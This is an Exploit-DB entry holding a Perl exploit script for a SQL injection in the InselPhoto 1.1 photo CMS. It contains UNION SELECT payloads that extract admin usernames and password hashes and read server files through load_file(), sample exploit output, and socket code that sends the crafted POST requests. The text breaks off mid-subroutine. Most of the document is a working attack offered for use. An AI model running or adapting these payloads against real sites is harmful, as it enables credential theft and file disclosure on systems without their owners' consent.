Exploit-DB #8045
Description: InselPhoto 1.1 - 'query' SQL Injection
Type: webapps
Platform: php
Date: 2009-02-11
Author: Osirys

Exploit:
#!/usr/bin/perl

# |----------------------------------------------------------------------------------------------------------------------------------|
# |                     INFORMATIONS                                                                                                 |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Web Application :  InselPhoto v1.1                                                                                                |
# |Download        :  http://www.inselphoto.com/download.php?p=get_inselphoto                                                        |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Remote Exploit (Admin credentials extract + File Disclosure via Sql Injection)                                                    |
# |by Osirys                                                                                                                         |
# |osirys[at]autistici[dot]org                                                                                                       |
# |osirys.org                                                                                                                        |
# |Greets to: evilsocket, Fireshot, Todd and str0ke                                                                                  |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |BUG [Sql Injection]
# |  Vulnerable file is: /[path]/search.php line 37
# |SQL Injections used by this sploit :
# |[1] ' union select 0,0,concat(username,0x3a,password),0,0,0,0,0 from inselphoto_users#
# |[2] ' union select 0,0,load_file('lf'),0,0,0,0,0#
# |----------------------------------------------------------------------------------------------------------------------------------|
# |This CMS is vulnerable to sql injection.This simple exploit just uses the sql bug to get admin credentials (username,password) and
# |uses load_file() mysql function to disclosure local file on the server.
# |This time no RCE exploit avaiable, becouse POST query is filtered with htmlentities, so will be impossible to write php code into
# |a file, for the fact that < > char will be html encoded.
# |----------------------------------------------------------------------------------------------------------------------------------|


# -----------------------------------------------------------------------------------------------------------------------------------|
# Exploit in action [>!]
# -----------------------------------------------------------------------------------------------------------------------------------|
# osirys[~]>$ perl sql2.txt http://localhost/InselPhoto/ admin_hash
#
#   -----------------------------------
#     InselPhoto SQL Injection Sploit
#             Coded by Osirys
#   -----------------------------------
#
# [*] Extracting users credentials ..
#
# [*] Username: admin
# [*] [CREDENTIAL_REDACTED]
#
# [*] Username: osirys
# [*] [CREDENTIAL_REDACTED]
#
# [!] Succesfully Exploited !
#
# osirys[~]>$
# -----------------------------------------------------------------------------------------------------------------------------------|
# osirys[~]>$ perl sql2.txt http://localhost/InselPhoto/ file_disc
#
#   -----------------------------------
#     InselPhoto SQL Injection Sploit
#             Coded by Osirys
#   -----------------------------------
#
# [*] cat /home/osirys/test.txt
# Local file loaded :D
#
# [*] cat exit
# [-] Quitting ..
# osirys[~]>$
# -----------------------------------------------------------------------------------------------------------------------------------|

use IO::Socket;

my $host   = $ARGV[0];
my $expl   = $ARGV[1];

my $sql_inj_path = "/search.php";

($host,$expl) || help("-1");
cheek($host,$expl) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

&adm_hash if $expl_way == 1;
&file_discl if $expl_way == 2;

sub adm_hash {
    my $url = $path.$sql_inj_path;

    my $code=  "query=%27+union+select+0%2C0%2Cconcat%28username%2C0x3a%2Cpassword%29%2C0%2C0%2C0%2C0%2C0+from+inselphoto_users%23&type=photo";

    my $length = length($code);

    my $data = "POST ".$url." HTTP/1.1\r\n".
               "Host: ".$h0st."\r\n".
               "Keep-Alive: 300\r\n".
               "Connection: keep-alive\r\n".
               "Content-Type: application/x-www-form-urlencoded\r\n".
               "Content-Length: ".$length."\r\n\r\n".
               $code."\r\n";

    my $socket   =  new IO::Socket::INET(
                                         PeerAddr => $h0st,
                                         PeerPort => '80',
                                         Proto    => 'tcp',
                                        ) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";

    print "[*] Extracting users credentials ..\n\n";
    $socket->send($data);

    while (my $e = <$socket>) {
        if ($e =~ /([a-zA-Z0-9-_.]{2,15}):([a-f0-9]{32})/) {
            $gotcha = 1;
            print "[*] Username: $1\n";
            print "[*] Password: $2\n\n";
        }
    }

    if ($gotcha != 1) {
        print "[-] Can't extract users credentials\n[-] Exploit Failed !\n\n";
        exit(0);
    }

    print "[!] Succesfully Exploited !\n\n";
    exit(0);
}

sub file_discl {
    my @outs;
    print "[*] cat ";
    my $file = <STDIN>;
    chomp($file);
    $file !~ /exit/ || die "[-] Quitting ..\n";
    if ($file !~ /\/(.*)/) {
        print "\n[-] Bad filename !\n";
        &file_discl;
    }

    my $url = $path.$sql_inj_path;
    my $lfile